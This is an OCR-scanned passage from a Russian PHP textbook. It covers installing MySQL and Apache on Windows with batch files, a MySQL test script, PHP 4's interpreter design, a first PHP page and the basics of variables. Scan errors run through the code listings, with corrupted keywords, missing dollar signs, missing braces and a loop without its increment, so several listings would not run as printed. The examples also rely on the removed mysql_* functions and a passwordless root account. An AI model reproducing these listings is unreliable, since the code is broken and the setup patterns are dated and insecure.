Сначала определимся: зачем же вообще нужны базы данных Web-
программисту? Неужели не проще использовать обычный обмен с файлами?
Ведь обычно объем данных не очень велик (если вы только не пишите по-
исковую систему). Наш личный опыт таков: оказывается, стоит затратить
какое-то время на изучение MySQL — это удивительно мощный инстру-
мент, который сэкономит в будущем немало часов, потраченных на отладку
"вышедшего из-под контроля" сценария.

Итак, вы решили установить у себя на локальном хосте поддержку MySQL.
Это довольно несложно. Что ж, приступим .

1. Для начала загрузите с официального сайта MySQL
(http://www.mysql.com, раздел Downloads) дистрибутив MySQL. Рекомен-
дую выбрать самую последнюю версию для Windows. Дистрибутив пред-
ставляет собой zip-архив , который нужно развернуть в любой удобный
вам каталог.

2. Запустите setup.exe из только что разархивированного дистрибутива.
Нажмите кнопку Next (рис. 5.4).

3. В появившемся информационном окне снова нажмите Next. Откроется
диалог с запросом о выборе каталога для MySQL. По умолчанию пред-
лагается C:\mysqi , но, мне кажется, будет удобнее использовать
с.- \Program Fiies\MySQ L (рис. 5.5). Задайте этот каталог и нажмите Next.

----------------------- Page 114-----------------------
Глава 5. Установка PHP и MySQL 99

Welcome to the MySQL Setup program, This program
will install MySQL on your computer.. . "..

It is strongly recommended that you exit all Wiridows programs .
before running this Setup program. •••/

. Click Cancel to quit Setup and then close any programs you hove
running, dick Next to continue with the Setup program.

WARNING: This program is protectedby copyright law and/
international treatise. , .

Unauthorized reproduction or distribution of this program, or any portion
of it may result in severe civil find criminal penalties, and will be
prosecuted to the maximum extent possible under low. . :

Cancel

Рис. 5.4. Установка MySQL

4. Выберите тип установки Typical. Начнется копирование файлов MySQL.
Дождитесь его окончания. MySQL установлена.

Setup will install MySQUn the following folder.4: : ':••• .'; • : . ' • " <'.•

To install to this folder, dick Next.

To install to a different (older, click Browse and select another folder.

Yo u can choose not to install MySQL by clicking Cancel to exit Setup.

r Destination Folder -& -

I C:\ProgramFiles\MySQL

Рис. 5.5. Выбор каталога для MySQL

5. Для того чтобы активизировать MySQL-сервер, запустите исполняемый
файл C:\Program Files\MySQL\bin\mysqld.exe . Можете создать ДЛЯ НСГО
ярлык, однако, поскольку обычно MySQL работает "в связке" с Apache,
будет логично создать командный файл, который будет стартовать и
Apache, и MySQL. Назовем его server.bat и расположим в корневом ка-
талоге диска z: . Вот содержание этого файла:

----------------------- Page 115-----------------------
100 Часть II. Выбор и настройка инструментария. Web-сервер Apache

\ Листинг 5.2. Файл server.bat

Secho off
"С:\Program Files\MySQL\bin\mysqld "
start /m "C:\Program FilesXApache Group\Apache\Apache "

Для операционных систем Windows NT и Widows 2000, однако, будет удобнее
использовать несколько другие команды (иначе в этих системах окно про-
цесса MySQL будет постоянно видно на экране, что нежелательно):

@echo off

start C:\Progra~l\MySQL\bin\mysqld-nt —standalone

C:\Progra~l\Apache~l\Apache\Apache -k start

Именно для приведенного командного файла лучше всего и создать яр-
лык, назначив ему "горячую" клавишу <Ctrl>+<Alt>+<A> (только если
вы до этого связали ту же комбинацию с ярлыком Apache, не забудьте ее
там отключить).
6. Перед выключением или перезагрузкой компьютера нужно завершать
работу Apache и MySQL. Для этого удобнее всего создать следующий bat-
файл с именем, например, shutdown.bat , расположив его в корневом ка-
талоге диска z : .

| Листинг 5.3. Файл shutdown.bat

@echo off

"C:\Program Files\Apache Group\Apache\Apache " -k shutdown

"C:\Program Files\MySQL\bin\mysqladmin " -u root shutdown

Удобно также определить для этого файла ярлык и назначить ему комби-
нацию клавиш <Ctrl>+<Alt>+<S>.

Тестирование MySQL

Давайте теперь проверим , все ли работает. Для начала запустите наш файл
server.bat , чтобы активизировать сервер. Создайте следующий РНР-
сценарий С именем mysql .php В каталоге z:\home\localhost\www .

] Листинг 5.4. Файл mysql . php

define ("DBName", "test") ;

define ("HostName", "localhost") ;

define ("UserName" , "root") ;

----------------------- Page 116-----------------------
Глава 5. Установка PHP и MySQL _ 101

define ("Password" , "") ;

if ( !mysql_connect (HostName , UserName , Password ) )

{ echo "He могу соединиться с базой " . DBName . " !<br>";

echo mysql_error ( ) ;

exit;

}

mysql_select_db (DBName) ;

// Создаем таблицу t . Если такая таблица уже есть ,

// сообщение об ошибке будет подавлено , т . к .

// используется "@"

@mysql_query ("create table t(id int , a text)") ;

// Вставляем в таблицу 10 записей

for($i=0; $i<10; $i++)

{ $id=time();

mysql_query ( "insert into t(id , a) values ($id, 'Стр$1 !')");

// Вьшодим все записи

$r=mysql_query ("select * from t") ;

for($i=0 ; $i<mysql_num_rows ($r ) ;

{ $f=mysql_fetch_array ($r ) ;

echo "$f[id ] -> $f [a] <br>\n" ;

Теперь наберите в браузере:

http : //localhost/mysql.php

Если все сконфигурировано правильно, вы должны получить несколько
строк вывода в браузере без сообщений об ошибках. При каждом запуске в
таблицу t добавляются новые строки, так что с каждым нажатием кнопки
Обновить в браузере объем таблицы будет все увеличиваться.

Обращаю ваше Внимание на КОНСТанТЫ DBName, HostName , UserName И
Password. DBName должен содержать имя базы данных (в нашем случае это
test — база данных , которая создается MySQL по умолчанию) . HostName -
всегда locaihost , ведь мы работаем на локальном компьютере. В макросе
UserName проще всего подставлять root , который является владельцем всех
таблиц. При установке MySQL пользователю root не назначается пароль,
так что константа Password равна пустой строке.

----------------------- Page 117-----------------------

----------------------- Page 118-----------------------
ЧАСТЬ

ОСНОВЫ ЯЗЫКА РНР

----------------------- Page 119-----------------------

----------------------- Page 120-----------------------
Глава 6

Характеристика
языка РНР

Дочитав до этого места, вы уже должны проникнуться мыслью, что писать
сценарии на Си, мягко говоря, неудобно. (Если подобного ощущения у вас
нет, значит, я плохо написал первую часть и ее придется переделывать).

Так на чем же писать? Многие тут же ответят: "Конечно, на том, на чем
обычно пишут сценарии — на Perl!". Да, это распространенная точка зрения.
Однако у Perl, наряду с его неоспоримыми достоинствами, существуют и
недостатки. Причем недостатки весьма серьезные. Вот один из них: Perl не
приспособлен непосредственно для программирования сценариев. Это в не-
котором роде универсальный язык, поэтому он не поддерживает напрямую
того, чего бы нам хотелось. А вот и второй: у Perl синтаксис не способствует
читабельности программы. Он не похож ни на Си, ни на Паскаль (а эти
языки замечательно зарекомендовали себя как самодокументирующиеся).
Вообще, я сам принадлежу к той категории людей , которые очень болез-
ненно воспринимают непродуманный синтаксис языка программирования ,
отсюда и мое отношение к Perl...

РНР — язык , специально нацеленный на работу в Интернете, язык с уни-
версальным (правда, за некоторыми оговорками) и ясным синтаксисом,
удивительно похожим на Си, сочетающий достоинства Perl и Си. И хотя
этот язык еще довольно молодой, он (точнее, его интерпретатор) установлен
уже на порядка миллиона серверов по всему миру, и цифра продолжает рас-
ти. Новое поколение РНР — четвертое — должно вообще стереть все пре-
имущества Perl перед РНР, как с точки зрения быстродействия обработки
программ (а третья версия РНР сильно отставала от Perl при обработке
больших циклов), так и с точки зрения синтаксиса. Наконец, большинство
PHP-сценариев (особенно не очень больших размеров) работают быстрее
аналогичных им программ, написанных на Perl (конечно, если сравнивать с
обычными Perl-сценариями, а не программами, запускаемыми под управле-
нием mod_perl).

Думаю, у РНР есть лишь один серьезный недостаток, который менее выра-
жен у Perl: это — его медлительность при работе с большими и сложными
сценариями. Однако работы по преодолению этой трудности давно ведутся
и, если верить разработчикам РНР, версия 4 является уже компилятором,

----------------------- Page 121-----------------------
106 _ Часть III. Основы языка РНР

построенным примерно на том же принципе , что и компилятор Perl. Давай-
те поговорим на последнюю тему чуть подробнее.

Интерпретатор или компилятор?

Возможно, вы уже слышали , что РНР версии 4, в отличие от своего предше-
ственника, является компилятором. Так вот, это не совсем так. Во избежа-
ние разногласий в терминах давайте определимся, что мы будем называть
компилятором, а что — интерпретатором. Если быть до конца откровенны-
ми, компиляторами очень часто и незаслуженно называют программы, ко-
торые на самом-то деле являются интерпретирующими трансляторами, т. е.,
по своей главной функции — интерпретаторами. Так обстоит дело и с РНР
версии 4.

( Замечание ^

Транслятор — программа, которая переводит код с одного "языка" на другой.
Например, утилита, преобразующая исходный Паскаль-код на Си, — трансля-
тор. В общем понимании компилятор — ни что иное, как транслятор, конверти-
рующий код программы на языке высокого уровня в машинный код. Интерпре-
татор же — это утилита, которая просматривает код некоторой программы и
выполняет одну ее инструкцию за другой, т. е. полностью контролирует процесс
исполнения.

Давайте посмотрим, как работает РНР версии 4. Получая на свой вход ис-
ходный код программы, он в первую очередь анализирует его (в частности,
проверяет синтаксис) и транслирует в специальное внутреннее представле-
ние. Оно представляет собой специальный байт-код, который, конечно, не-
возможно прочитать глазами, но с которым в дальнейшем проще всего будет
оперировать РНР. Вот эту-то фазу чаще всего и называют ошибочно компи-
ляцией. Далее, РНР исполняет (интерпретирует) полученный байт-код.
В этот момент он представляет собой классический интерпретатор.

Итак, мы видим , что РНР составлен из двух почти независимых блоков —
транслятора и интерпретатора. Зачем же понадобилось так делать? Конечно,
из соображений быстродействия. Посудите сами: синтаксический разбор
осуществляется всего один раз на этапе трансляции , а исполняется уже
"полуфабрикат" — байт-код, который гораздо более удобен для этих целей.

Пусть, например , в программе есть цикл с большим числом итераций. РНР
версии 3, в котором отсутствует фаза трансляции, вынужден перед исполне-
нием очередной итерации заново анализировать ее код, проводить строко-
вый разбор, проверку синтаксиса и т. д. В то же время РНР версии 4 делает
это только один раз (при трансляции кода программы), и на каждой итера-
ции цикла занимается лишь исполнением готового байт-кода. Выигрыш
очевиден, не правда ли?

----------------------- Page 122-----------------------
Глава 6. Характеристика языка РНР 107

Замечание

Язык Perl, который практически всегда называют компилятором, работает точ-
но по такой же схеме — он транслирует текст программы во внутреннее пред-
ставление, а затем использует результирующий код при исполнении. Так что,
можно сказать, РНР версии 4 представляет собой компилятор ровно настолько,
насколько им является Perl.

Впрочем, описанная только что схема работы РНР не совсем соответствует
действительности . Дело в том, что в языке можно создавать конструкции ,
которые просто физически невозможно перевести во внутреннее представ-
ление во время фазы трансляции (к таковым, например, относится инструк-
ция включения в программу кода внешнего файла , имя которого выясняется
только на этапе исполнения программы — к примеру , вводится пользовате-
лем). В этом случае РНР просто пропускает их, "откладывая на потом", и
транслирует, как только до них дойдет управление. Конечно, это несколько
замедляет выполнение программы, но если подобных конструкций в ней
немного (и они не вставлены в цикл с большим количеством итераций), за-
медление не так уж и существенно.

Как вы видите, РНР версии 4 коренным образом отличается от своего
предшественника — РНР версии 3. Фактически, весь код программы в оче-
редной раз был переписан заново. При этом возникла серьезная проблема с
переносимостью программ: не так-то легко обеспечить совместимость клас-
сического интерпретатора с новым транслирующим блоком (вообще, транс-
ляторы по своей природе ограничивают свободу действий, зато привносят
быстродействие). Тем не менее, разработчики РНР блестяще справились с
проблемой: практически любая программа, работающая на РНР версии 3 и
не использующая недокументированных возможностей языка, будет рабо-
тать и на четвертой версии.
Что же такое РНР? Как мы выяснили, уж точно не компилятор, т. к. не имеет
ни малейшего отношения к машинному коду. И, конечно же, не транслятор в
чистом виде — ведь оттранслированный байт-код нельзя ни сохранить в фай-
ле, ни использовать повторно. В то же время, главной фазой работы РНР яв-
ляется интерпретация внутреннего представления программы и ее исполне-
ние. Именно эта фаза и занимает больше всего времени в серьезных
сценариях. Итак, мы вынуждены заключить, что РНР является интерпретато-
ром с встроенным блоком трансляции, оптимизирующим ход интерпретации.

( Замечание ^

Я уже предвижу, что множество читателей не согласятся с такой формулировкой.
Конечно, слово "компилятор" звучит солиднее, чем какой-то там "интерпрети-
рующий транслятор". Но все дело в том, что английское слово compiler перево-
дится не только как "компилятор", но также и как "транслятор". Задумайтесь над
этим, если окончательно решили для себя считать РНР и Perl компиляторами.

----------------------- Page 123-----------------------
108 _ Часть III. Основы языка PHP

Достоинства и недостатки
интерпретатора

Если вы — бывший системщик или прикладной программист и не знакомы
с языком Perl, довольно непросто будет привыкнуть к тому, что РНР, как и
большинство языков для Web, является интерпретатором (правда, как мы
уже говорили, с транслирующим оптимизатором).
Что ж, это так. Да, сценарии, написанные на РНР, работают в тысячи раз
медленнее, чем Си-программы (но почти с такой же скоростью, как создан-
ные на Perl — может быть, отстают максимум в несколько раз на особо кри-
тических участках), и к этому придется привыкнуть. Например, если мы
напишем на Си пустой цикл с миллионом итераций примерно такого вида:

for (long i=0; K1000000 ;

то он будет работать всего долю секунды, в то время как аналогичный цикл
на РНР:

for ($i=0; $i<1000000; $i++) ;

проработает на процессоре Pentium 100 несколько секунд.

С ^Замечание J

Приведенные оценки, особенно сравнения с Perl, касаются только РНР версии
4, но не версии 3. Последний отстает даже от Perl по быстродействию почти в
100 раз. Так что стоит задуматься, допустимо ли вообще применять РНР вер-
сии 3 при написании нетривиальных программ.

Однако для сценариев, не содержащих в себе таких громадных циклов (а
таких программ, как мы вскоре увидим, большинство), время работы будет
отличаться очень несущественно. Ну, в самом деле, какая разница, работает
ли сценарий 0,01 секунды или 0,1 секунды, если передача данных по кана-
лам Интернета через модем будет длиться, например, 5 секунд?

(~ Замечание J

Впрочем, тут все-таки есть стимул стараться по возможности ускорить сцена-
рий: если на вашей машине размещены сотни виртуальных хостов, способных
работать с РНР, и каждый из них весьма популярен у пользователей Интерне-
та, то суммарный проигрыш в быстродействии может быть вполне ощутим.
В этом случае придется просто отказаться от РНР и перейти на более быстрый
(но и более сложный) язык— например, Си или Java.

"А как же быть, — спросят некоторые, — если нам нужно написать сцена-
рий для работы, скажем, с тысячами и десятками тысяч пользователей, ад-
реса и телефоны которых хранятся в файле? Ведь, чтобы найти какого-то
пользователя (особенно, если его имя задано не точно), придется просмат-

----------------------- Page 124-----------------------
Глава 6. Характеристика языка РНР 109

ривать их всех, а это как раз и будет цикл с огромным количеством итера-
ций?" Да, это действительно так. Если нужно обрабатывать очень большие
массивы данных, лучше использовать Си или... базу данных. База данных —
это набор очень большого числа записей с одинаковой структурой плюс
программное обеспечение для быстрого поиска, добавления и удаления за-
писей (чаще всего написанного как раз на Си). РНР поддерживает работу с
очень большим числом разнообразных баз данных, поэтому написание сце-
нариев с применением баз данных не должно вызвать особых проблем.
Кстати, и выполняться такие скрипты будут быстрее, чем аналогичные им
"самодельные", написанные на Си — ведь разработкой баз данных и эффек-
тивных алгоритмов работы с ними занималось множество людей. А в РНР
останется лишь вызвать нужную функцию (например, поиск в базе данных)
и сразу получить результат — многие базы данных даже умеют нужным об-
разом его отсортировать и вообще выполнить всю "грязную работу"...

У интерпретатора есть и другие преимущества перед классическим компиля-
тором, например, перед Си. Вот некоторые из них.

П Упрощается обнаружение ошибок во время выполнения программы.
В случае сбоя интерпретатор сразу же выведет сообщение, что что-то не
так.

П Можно не заботиться об освобождении выделенной памяти. Интерпрета-
тор сам определит, когда та или иная переменная в программе уже не
используется, и освободит память, выделенную для нее.

П Существует возможность написать программу, которая, грубо говоря, бу-
дет формировать и тут же исполнять другую программу, что очень часто
практикуется при шаблонной системе организации скриптов. В частно-
сти, мы можем формировать идентификаторы во время исполнения
программы, создавать массивы анонимных функций и т. д.

П Не нужно думать о типах переменных (как это, кстати, было сделано в
приведенном цикле for) . Мы еще вернемся к данному вопросу в даль-
нейшем.

Есть и другие достоинства. Вообще, использование интерпретатора способ-
но дать сценариям ту мощь, которую пользователи Web от них и ожидают.

Но за все нужно платить: эта пресловутая медлительность интерпретаторов,
даже с блоком трансляции, способна вывести из себя самого закаленного
программиста. Проигрыш особенно заметен в случае больших и сложных
циклов, при обработке большого количества строк и т. д. Однако, заметьте,
это единственный недостаток РНР, который будет все меньше и меньше
проявляться по мере выхода более мощных процессоров, чтобы в конце
концов вообще сойти на нет.

----------------------- Page 125-----------------------
Часть III. Основы языка PHP

Пример PHP-программы

Традиционно, любая книга начинается с программы "Hello world!". Что ж,
не буду отходить от этих канонов и приведу сразу два примера такой про-
граммы. Вот первый из них:

echo "Hello world !

Запустим сценарий в браузере. Легко убедиться, что он действительно рабо-
тает, да к тому же еще и безотказно.

Замечание

Это замечание предназначено для тех, кто еще совершенно не знаком с син-
таксисом языка РНР. Итак, возможно, вы немного смущены словами "запустим
сценарий в браузере". Дело в том, что PHP-сценарий по своей природе не-
сколько отличается от обычных CGI-сценариев, которые мы рассматривали в
первой части этой книги. Но не торопитесь. Следующий пример поставит все
точки над "i".

Для тех, кто еще не сталкивался с синтаксисом РНР, более интересен при-
мер второй программы. Вот как он выглядит:

<body>
Hello world !
</body>

Что — думаете, произошла ошибка и редактор вместо примера кода на РНР
случайно вставил в текст пример HTML-страницы? А вот и нет. Да-да, вы
не ошиблись — тут действительно нет вообще никаких операторов РНР, и
содержимое файла с "программой" состоит целиком из статического текста.
Что же происходит? Выходит, обычный HTML-текст также правильно обра-
батывается РНР? Да, это так. Но рассмотрим чуть более сложный пример
(листинг 6.1).

! Листинг 6.1. Простой сценарий на РНР

<htmlxbody>
<Ы>Здравствуйте! </hl>

<?

// Вычисляем текущую дату в формате "день.месяц год"
$dat=date("d.m у " ) ;
// Вычисляем текущее время
$tm=date("h:i:s");
# Выводим их

----------------------- Page 126-----------------------
Глава 6. Характеристика языка РНР _ 111

echo "Текущая дата : $dat года<Ьг>\п" ;

echo "Текущее время : $tm<br>\n " ;

# Выводим цифры

echo "А вот квадраты и кубы первых 5 натуральных чисел : <br>\n" ;

for($i=l; $i<=5; $i++)

{ echo "<li>Si в квадрате = ". ($i*$i) ;

echo ", $i в кубе = " . ($i*$i*$i) . "\n";

</bodyx/html>

Я убежден, что синтаксис любого языка программирования гораздо легче
"почувствовать" на примерах, нежели используя какие-то диаграммы и схе-
мы. Я буду придерживаться этого принципа на протяжении всей книги . Что
ж, приступим к разбору программы.

Начало сценария, если бы не был уже затронут второй пример , может оза-
дачить: разве это сценарий? Откуда HTML-тэги <html > и <body>? Вот тут-то
и кроется главная особенность (кстати, чрезвычайно удобная) языка РНР:
PHP-скрипт может вообще не отличаться от обычного HTML-документа,
как мы это уже заметили ранее.

А помните, как мы раньше в примерах на Си писали кучу одинаковых
printf'oB для того, чтобы выводить HTML-код страницы? На РНР это можно
делать естественным образом, без всяких операторов. Иными словами, все,
что расположено в нашем примере до начала PHP-кода, отображается непо-
средственно, Как буДТО При ПОМОЩИ НеСКОЛЬКИХ ВЫЗОВОВ print f () В Си .

Идем дальше. Вы, наверное, догадались, что сам код сценария начинается
после открывающего тэга <? и заканчивается закрывающим ?>. Итак, между
этими двумя тэгами текст интерпретируется как программа, и в HTML-
документ не попадает. Если же программе нужно что-то вывести, она должна
воспользоваться оператором echo (это не функция, а конструкция языка: ведь,
в конце концов, если это функция, то где же скобки?). Мы подробно рас-
смотрим ее работу в дальнейшем. Итак, РНР устроен так, что любой текст, ко-
торый расположен вне программных блоков, ограниченных <? и ?>, выводится
в браузер непосредственно, т. е. воспринимается, как вызов оператора echo
(последняя аналогия очень точна, и мы остановимся на ней чуть позже).

Нетрудно догадаться, что часть строки после // является комментарием и на
программу никак не влияет. Однострочные комментарии также можно
предварять и символом # вместо / / , как мы можем это увидеть в примере.
Комментарии еще бывают и такие:

/ *
это комментарий

----------------------- Page 127-----------------------
112 Часть III. Основы языка PHP

...и еще одна строка

*/

То есть, комментарии могут, как и в Си, быть однострочными и многостроч-
ными. Однако в некоторых реализациях РНР многострочные комментарии
почему-то вступают в конфликт с "русскими" буквами, которые могут нахо-
диться между ними. А именно, появляются бессмысленные сообщения о син-
таксических ошибках, причем совершенно не в том месте. Почему так проис-
ходит, неясно: видимо, ошибка в РНР. Насчет комментариев и контроля
ошибок мы еще поговорим, а пока вот вам совет: никогда не пользуйтесь
многострочными комментариями в РНР, если хотите жить долго и счастливо
(тем более, что не допускаются вложенные многострочные комментарии).

А пока давайте лучше посмотрим, что происходит дальше. Вот строка:

$dat=date("d.m у " ) ;

Делает она следующее: переменной с именем $dat (заметьте, что абсолютно все
переменные в РНР должны начинаться со знака $, потому что "так проще для
интерпретации") присваивается значение, которое вернула функция date ( ) .
Итак, мы видим, что в РНР, во-первых, нет необходимости явно описывать
переменные (как это делается, например, в Паскале или Си), а во-вторых,
нигде не указывается их тип (про типы мы еще поговорим чуть позже). Ин-
терпретатор сам решает, что, где и какого типа. А насчет функции date о...
Можно заметить, что у нее задается один параметр, который определяет фор-
мат результата. Например, в нашем случае это будет строка вида "11.12 01".

В конце каждого оператора должна стоять точка с запятой, как в Си. За-
метьте — именно как в Си, а не как в Паскале. Иными словами, вы обязаны
ставить точку с запятой перед else в конструкции if-eise , но не должны
после заголовка функции.

На следующей строке мы опять видим комментарии, а дальше — еще один
оператор, похожий на ранее описанный. Он присваивает переменной $tm
текущее время в формате "часы:минуты:секунды", опять же при помощи вы-
зова date ( ) . Все возможности этой полезной функции будут подробно опи-
саны в четвертой части книги .

Далее следуют операторы echo , выводящие текстовые строки и нашу дату и
время. Рассмотрим один из них :

echo "Текущая дата : $dat года<Ьг>\п" ;

Заметьте: то, что любая переменная должна начинаться с символа $, позво-
ляет интерпретатору вставить ее прямо в строку символов на место $dat
(конечно, в любую строку, а не только в параметры echo). Разумеется, мож-
но было бы написать и так (поскольку конструкция echo не ограничена по
числу параметров):

echo "Текущая дата : ",$dat," года<Ьг>\п" ;

----------------------- Page 128-----------------------
Глава 6. Характеристика языка РНР _ 113

или даже так:

echo "Текущая дата : ".$dat." года<Ьг>\п" ;

так как для слияния строк используется операция " . " (к этому придется по-
ка привыкнуть).

Кстати говоря, на вопрос, почему для конкатенации строк применяется точ-
ка а не, скажем, плюс "+", довольно легко ответить примером:

$а="100";

$Ь="200";

echo $a+$b ; // выведет "300"

echo $a.$b ; // выведет "100200"

Итак, мы видим, что плюс используется именно как числовой оператор, а
точка — как строковой. Все нюансы применения операторов мы рассмотрим
в следующей главе.

Еще один пример "внедрения" переменных непосредственно в строку:

$path="c: /windows" ; Sname="win"; $ext="com";

FullPath="$path\$name . $ext " ;

Последнее выглядит явно изящнее, чем:

$path=" с : /windows" ; $name="win"; $ext="com";

$FullPath=$path. "\".$name . ". ".$ext;

( Замечание ^

В терминах языка Perl можно сказать, что переменные в строках, заключенных
в кавычки, интерполируются, т. е. расширяются. Существует и другой способ
представления строк в РНР — это строки в апострофах, и в них переменные не
интерполируются.

Ну вот, мы почти подобрались к сердцу нашего сценария — "уникальному"
алгоритму поиска квадратов и кубов первых 5 натуральных чисел. Выглядит
он так:

for ($i=l; $i<=5; $i++)

{ echo "<li>$i в квадрате = ". ($i*$i) ;

echo ", Si в кубе = " . ($i*$i*$i ) . "\n";

В первой строке находится определение цикла for (счетчик $i, которому
присваивается начальное значение 1, инкрементируется на единицу на каж-
дом шаге, пока не достигнет пяти). Затем следует блок, выполняющий вы-
вод одной пары "квадрат-куб". Я намеренно сделал вывод в две строки, а не

----------------------- Page 129-----------------------
Часть III. Основы языка PHP

в одну, чтобы показать, что в РНР применяются те же самые правила груп-
пировки операторов, что и в Си. А именно: несколько операторов можно
сделать одним сложным оператором, заключив их в фигурные скобки, как
это сделано выше.
Наконец, после всего этого расположен закрывающий тэг РНР ?>, а даль-
ше — опять обычные HTML-тэги, завершающие нашу страничку.

Уф! Вот какой код получился в результате работы нашего сценария (лис-
тинг 6.2):

I Листинг 6.2. Результат работы сценария

<htmlxbody>

<Ы>Здравствуйте !</hl>

Текущая дата : 29.01 01 года<Ьг>

Текущее время : 04:34:16<br>

А вот квадраты и кубы первых 5 натуральных чисел :<Ьг>

<li>l в квадрате = 1 , 1 в кубе = 1

<li>2 в квадрате = 4 , 2 в кубе = 8

<li>3 в квадрате = 9 , 3 в кубе = 27

<11>4 в квадрате = 16 , 4 в кубе = 64

<li>5 в квадрате = 25, 5 в кубе = 125

</body></html>

Как видите, выходные данные сценария скомбинировались с текстом, рас-
положенным вне скобок <? и ?>. В этом-то и заключена основная сила
РНР: в легком встраивании кода в тело документа.

Использование РНР в Web

Пока мы с вами касались только теории того, как работает сценарий на
РНР. Давайте же теперь наконец займемся практикой. Но сначала погово-
рим вот о чем.

Итак, РНР — язык, который позволяет встраивать в код программы "куски"
HTML-кода. Мы можем использовать его для написания CGI-сценариев и
избавиться от множества неудобных операторов вывода текста. Не так ли ?

Посмотрим. Вот другое утверждение. РНР — язык (надстройка над HTML),
который позволяет встраивать программный код в HTML-документы. Мы
можем привлекать его для формирования HTML-документов и избавиться
от множества вызовов внешних сценариев.

----------------------- Page 130-----------------------
Глава 6. Характеристика языка РНР 115

Вы озадачены — какое же из утверждений (в чем-то противоречивых, кста-
ти) верно? Это хорошо. Я достиг цели. Это означает, что мы с вами только
что избежали одной из самых популярных ошибок начинающих программи-
ровать на РНР людей — считать единственно верным только первое или
только второе утверждение. В действительности РНР представляет собой
язык , в котором в одних ситуациях следует придерживаться одного, а в ос-
тальных — другого соглашения.

Внимание

Если вы думаете , что все это лишь игра слов, и "хоть горшком назови, только в
печь не ставь", то ошибаетесь. Дело в том, что затронутая тема почти вплотную
стыкуется с идеологией отделения кода сценария от дизайна страницы — идее
очень важной, особенно при работе нескольких человек над одним проектом, и
довольно нетривиальной самой по себе. Мы очень подробно рассмотрим ее в
пятой части книги, которая посвящена методам программирования на РНР.

Ну что, стало понятнее? Пожалуй, нет. Ну что ж, давайте пока будем рас-
сматривать все наши примеры так, как будто они подходят под второе ут-
верждение (хотя в последнем примере — положа руку на сердце — больше
программного кода, чем HTML-тэгов). Итак, программа, показанная в лис-
тинге 6.1, представляет собой HTML-страницу с "вкрапленным" кодом на
РНР. А раз так, то назовем ее, например, iisti . i .php и расположим в ката-
логе для документов на Web-сервере. Теперь с точки зрения Web-пользо-
вателя она — просто страница.

^ Примечание

Для иллюстрации примеров здесь и далее я буду использовать локальный сер-
вер Apache для платформы Win32 , установка которого подробно описана в
части II. Примеры я располагал на хосте localhost в его корневом каталоге.
Конечно, это ни в коей мере не означает, что примеры будут работать только
под Windows-версией РНР. Язык РНР задумывался как платформенно-неза-
висимый, поэтому, если вы не задействуете в сценарии особенностей той или
иной операционной системы, он будет одинаково хорошо (или одинаково пло-
хо) работать в любой системе — будь то Unix у хостинг-провайдера или
Windows дома.

Рис. 6.1 -- это то, что я увидел, когда открыл в браузере рассмотренный
выше пример (файл со сценарием я разместил по адресу:
z:/home/localhost/www/list 1.1 .php).

Обратите внимание на URL в строке браузера (http://localhost/listl.l.php).
Все выглядит так, как будто мы просто открыли обычную Web-страничку.
Пока что мы присвоили расширение php для этой страницы для того, чтобы
сервер смог понять, что ему нужно на самом деле использовать РНР-
интерпретатор для обработки документа. В пятой части этой книги мы рас-

5 Зак. 699

----------------------- Page 131-----------------------
116 Часть III. Основы языка PHP

смотрим, как можно связать РНР с любым расширением и любым докумен-
том на сервере, а пока давайте договоримся давать PHP-сценариям расши-
рение php.

•fahttpiWIocalhost/listl .1 .php
Файл Правка Лид Переход Избранное Справка

Назад ж ^ Останови Обновить Домой Поиск Избранк

ть

I Адрес \ф^ http://1ocalhost/list1.1 .php

Здравствуйте!

Текущая дата: 29.01 01 года
Текущее время: 05:32:25
А вот квадраты и кубы первых 5 натуральных чисел:
• 1 в квадрате = 1,1 в кубе = 1
• 2 в квадрате = 4, 2 в кубе = 8
• 3 в квадрате — 9, 3 в кубе = 27
• 4 в квадрате = 16, 4 в кубе = 64
• 5 в квадрате =25, 5 в кубе = 125

В^^ ] \ \ lS^ Местная зона (интрасеть)

Рис. 6.1. Результат работы сценария, приведенного в листинге 6.1

----------------------- Page 132-----------------------
Глава 7

Переменные, константы,
выражения

Как вы, наверное, уже заметили, структура PHP-программы довольно сильно
напоминает смесь Бейсика и Си, да еще со включениями на HTML. Что ж,
так оно, в общем, и есть. Однако мы рассмотрели лишь очень простой при-
мер программы на РНР, поэтому вряд ли сможем сейчас увидеть общую кар-
тину языка. А теперь настало время заняться конструкциями РНР вплотную.

Начнем мы с основ языка. Итак...

Переменные

Как и в любом другом языке программирования (за исключением, может
быть, языка Forth), в РНР существует такое понятие, как переменная. Даже
в простом примере, какой был описан выше, мы использовали целых 3 пе-
ременных!

При программировании на РНР принято не скупиться на объявление новых
переменных, даже если можно обойтись и без них. Например, в том про-
стом сценарии мы вполне могли бы использовать всего одну переменную -
счетчик цикла. Однако значительно читабельнее будет определить их не-
сколько штук. Отчасти это связано с тем, что создание нового идентифика-
тора интерпретатору обходится довольно дешево, частично из-за того, что
все переменные в функциях по умолчанию локальны (о локальных пере-
менных разговор пойдет чуть позже).
Имена переменных чувствительны к регистру букв: например ,
$my_variable — НС ТО ЖС самое, ЧТО SMy_Variabl e ИЛИ $MY_VARIABLE . Кроме
того, имена всех переменных должны начинаться со знака $ — так интер-
претатору значительно легче "понять" и отличить их, например, в строках.
Поначалу это довольно сильно раздражает, но потом привыкаешь (и даже
автоматически начинаешь писать "доллары" перед именами переменных в
программах на Си, Паскале...)

Внимание

В официальной документации сказано, что имя переменной может состоять не
только из "английских" букв и цифр, но также и из любых символов, код которых

----------------------- Page 133-----------------------
118 Часть III. Основы языка PHP

старше 127, — в частности, и из "русских" букв! Однако я категорически не со-
ветую вам применять кириллицу в именах переменных— хотя бы из-за того,
что в различных кодировках ее буквы имеют различные коды.

Переменные в РНР — особые объекты, которые могут содержать в букваль-
ном смысле все, что угодно. Если в программе что-то хранится, то оно все-
гда хранится в переменной (исключение — константа, которая, впрочем,
может содержать только число или строку). Такого понятия , как указатель
(как в Си), в языке не существует — при присваивании переменная копиру-
ется один-в-один, какую бы сложную структуру она ни имела. Тем не ме-
нее, в РНР версии 4 существует понятие ссылок — жестких и символиче-
ских, их мы вскоре рассмотрим.
Как уже говорилось, в РНР не нужно ни описывать переменные явно, ни
указывать их тип . Интерпретатор все это делает сам. Однако иногда он мо-
жет ошибаться (например, если в текстовой строке на самом деле задано
десятичное число), поэтому изредка возникает необходимость явно указы-
вать, какой же тип имеет то или иное выражение.

Чуть чаще возникает потребность узнать тип переменной (например , пере-
данной в параметрах функции) прямо во время выполнения программы.
В этой связи давайте посмотрим, какие же типы данных понимает РНР.

Типы переменных

РНР непосредственно поддерживает 5 типов переменных, которые я здесь
перечислю и коротко опишу.

integer

